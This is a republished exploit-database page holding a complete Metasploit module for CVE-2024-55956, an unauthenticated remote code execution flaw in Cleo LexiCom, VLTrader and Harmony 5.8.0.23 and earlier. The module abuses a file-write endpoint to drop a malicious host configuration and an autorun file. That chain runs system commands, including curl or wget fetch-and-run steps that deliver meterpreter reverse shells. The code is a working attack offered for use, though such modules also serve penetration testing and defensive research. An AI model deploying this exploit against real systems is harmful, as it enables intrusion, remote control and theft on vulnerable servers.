Cleo LexiCom / VLTrader / Harmony 5.8.0.23 Remote Code Execution
2025-1-22 21:12:16 Author: cxsecurity.com(查看原文) 阅读量:1 收藏

Cleo LexiCom / VLTrader / Harmony 5.8.0.23 Remote Code Execution

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Cleo LexiCom, VLTrader, and Harmony Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony versions 5.8.0.23 and below. }, 'License' => MSF_LICENSE, 'Author' => [ # MSF Exploit & Rapid7 Analysis 'sfewer-r7', 'remmons-r7' ], 'References' => [ ['CVE', '2024-55956'], ['URL', 'https://support.cleo.com/hc/en-us/articles/28408134019735-Cleo-Product-Security-Update-CVE-2024-55956'], # Vendor Advisory ['URL', 'https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis'], # Rapid7 Analysis ['URL', 'https://www.rapid7.com/blog/post/2024/12/10/etr-widespread-exploitation-of-cleo-file-transfer-software-cve-2024-50623/'], # Rapid7 Blog ['URL', 'https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild'] # Huntress Blog ], 'DisclosureDate' => '2024-12-09', 'Platform' => %w[java win linux unix], 'Arch' => [ARCH_JAVA, ARCH_CMD], 'Privileged' => true, # 'NT AUTHORITY\SYSTEM' on Windows. On Linux it depends on how the product was installed. 'Targets' => [ [ # Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads: # java/meterpreter/reverse_tcp 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA } ], [ # Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads: # cmd/windows/http/x64/meterpreter/reverse_tcp # cmd/windows/http/x64/meterpreter_reverse_tcp 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL', 'FETCH_WRITABLE_DIR' => '%TEMP%' } } ], [ 'Linux Command', { 'Platform' => %w[linux unix], 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'FETCH_COMMAND' => 'WGET', 'FETCH_WRITABLE_DIR' => '/tmp' } } ] ], 'DefaultOptions' => { 'RPORT' => 5080, 'SSL' => false, # The exploit relies on the target service processing a file written to an 'autorun' folder, which is processed # periodically. We bump up the WfsDelay to account for this, and give the exploit payload some extra time to trigger. 'WfsDelay' => 10 }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) return CheckCode::Unknown('Connection failed') unless res # We expect the server to respond with an HTTP Server header like "Cleo LexiCom/5.8.0.0 (Windows Server 2022)". # Note, the target product may be either LexiCom, VLTrader, or Harmony. if res.headers.key?('Server') && (res.headers['Server'] =~ %r{cleo\s+(?:lexicom|vltrader|harmony)/(\d+\.\d+\.\d+\.\d+)}i) if Rex::Version.new(Regexp.last_match(1)) <= Rex::Version.new('5.8.0.23') return CheckCode::Appears(res.headers['Server']) end return CheckCode::Safe(res.headers['Server']) end CheckCode::Unknown end def exploit jar_path = nil jar_file = nil command = nil case target['Platform'] when 'java' jar_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}" jar_file = payload.encoded_jar(random: true) # The product ships its own JRE, so we can use a relative path to run our Java JAR file. command = "jre/bin/java -jar \"#{jar_path}\"" when 'win' command = "cmd.exe /c \"#{payload.encoded}\"" when 'linux', 'unix' command = "/bin/sh -c \"#{payload.encoded}\"" else fail_with(Failure::BadConfig, 'Unsupported target platform') end if command.include? ']]>' # As we wrap the command in XML CDATA tags, we cannot have the closing CDATA tag in the command. fail_with(Failure::BadConfig, 'Payload cannot contain the CDATA closing tag "]]>"') end host_guid = SecureRandom.uuid mailbox_guid = SecureRandom.uuid action_guid = SecureRandom.uuid # This is based on the XML file that Huntress published (https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild) host_xml = %(<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Host alias="#{host_guid}" application="" by="Administrator" class="*CwwQNwwbER4SEhA8Ex4cEDNRQQwRBwsbGk5TEQdOEAUWTkM*" created="2020/10/10 00:00:00" enabled="True" enc="#{SecureRandom.uuid}" local="True" modevent="Modified" modified="2020/10/10 00:00:00" moditem="&lt;copy&gt;myCommands@Local Commands" modtype="Actions" preconfigured="2009/10/30 15:15" ready="True" standaloneaction="False" test="False" transport="" type="" uid="#{SecureRandom.uuid}" version="1"> <Connecttype>0</Connecttype> <Inbox>inbox\</Inbox> <Index>0</Index> <Indexdate>-1</Indexdate> <Internal>0</Internal> <Notes>This contains mailboxes for a local host which can be used for local commands only.</Notes> <Origin>Local Commands</Origin> <Outbox>outbox\</Outbox> <Port>0</Port> <Runninglocalrequired>True</Runninglocalrequired> <Secureportrequired>False</Secureportrequired> <Uidswpd>True</Uidswpd> <Advanced>ZipCompressionLevel=System Default</Advanced> <Advanced>XMLEncryptionAlgorithm=System Default</Advanced> <Advanced>HighPriorityIncomingWeight=10</Advanced> <Advanced>PGPHashAlgorithm=System Default</Advanced> <Advanced>HighPriorityOutgoingWeight=10</Advanced> <Advanced>PGPCompressionAlgorithm=System Default</Advanced> <Advanced>OutboxSort=System Default</Advanced> <Advanced>PGPEncryptionAlgorithm=System Default</Advanced> <Mailbox alias="#{mailbox_guid}" class="*BxAdExYeMgwbER4SEhA8Ex4cEDNR" created="2020/10/10 00:00:00" enabled="True" localdecryptcert="" localencryptcert="" localpackaging="None" partnerdecryptcert="" partnerdecryptpassword="" partnerencryptcert="" partnerpackaging="None" ready="True" uid="#{SecureRandom.uuid}" version="1"> <Action actiontype="Commands" alias="#{action_guid}" by="Administrator" class="*ERAWCxw+DBsRHhISEDwTHhwQM1E*" created="2020/10/10 00:00:00" enabled="True" modified="2020/10/10 00:00:00" ready="True" uid="#{SecureRandom.uuid}" version="2"> <Autostartup>False</Autostartup> <Commands><![CDATA[SYSTEM #{command}]]></Commands> <Filesin>0</Filesin> <Filesout>0</Filesout> <Ssl>False</Ssl> </Action> </Mailbox> </Host>) zip_file = Rex::Zip::Archive.new zip_file.add_file('hosts/main.xml', host_xml) zip_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}" arbitrary_file_write(zip_path, zip_file.pack) # The payload working directory will be the product install folder, e.g. "C:\LexiCom\", so we can pass relative # paths here for cleanup. register_files_for_cleanup(zip_path) # For Java payloads, we also need to write the payloads JAR file. if jar_file && jar_path arbitrary_file_write(jar_path, jar_file.pack) register_files_for_cleanup(jar_path) end # Install the new host via the -i switch. # Run the Mailbox action via the -r switch, which in turn will execute our payload. autorun_data = [ "-i \"#{zip_path}\"", "-r \"<#{action_guid}>#{mailbox_guid}@#{host_guid}\"" ].join("\r\n") arbitrary_file_write("autorun/#{Rex::Text.rand_text_alpha_lower(8)}", autorun_data) # Note, the autorun files will be deleted by the system after they are processed, so we do not need to register them for cleanup. end def arbitrary_file_write(path, data) boundary = Rex::Text.rand_text_alpha_lower(16) # We can trigger the file write via either of these two commands. multipart_vlsync_command = ['ReceivedReceipt', 'SentReceipt'].sample # These parameters can appear in any order, so we shuffle them. multipart_vlsync_params = [ 'service="AS2"', "msgId=#{Rex::Text.rand_text_alpha_lower(8)}", "path=\"#{path}\"", 'receiptfolder=Unspecified' ].shuffle.join(';') content_data = "VLSync: #{multipart_vlsync_command};#{multipart_vlsync_params}\r\n" content_data << "#{boundary}\r\n" content_data << data # Note, the server does not process well-formed multipart form data, so we do not use Rex::MIME::Message. res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'Synchronization'), 'headers' => { 'VLSync' => 'Multipart;l=0,Acknowledge' }, 'ctype' => 'application/form-data; boundary=' + boundary, 'data' => content_data ) fail_with(Failure::UnexpectedReply, 'Failed to write file.') unless res&.code == 200 end end



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2025010023
如有侵权请联系:admin#unsafe.sh